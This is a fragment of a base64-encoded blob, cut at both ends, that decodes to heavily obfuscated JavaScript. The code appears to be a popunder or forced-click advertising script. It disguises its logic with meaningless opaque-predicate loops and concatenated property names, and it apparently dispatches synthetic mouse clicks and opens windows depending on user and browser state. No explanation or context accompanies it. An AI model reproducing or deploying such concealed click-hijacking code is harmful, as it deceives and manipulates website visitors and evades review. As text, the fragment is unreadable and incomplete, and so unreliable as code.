25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU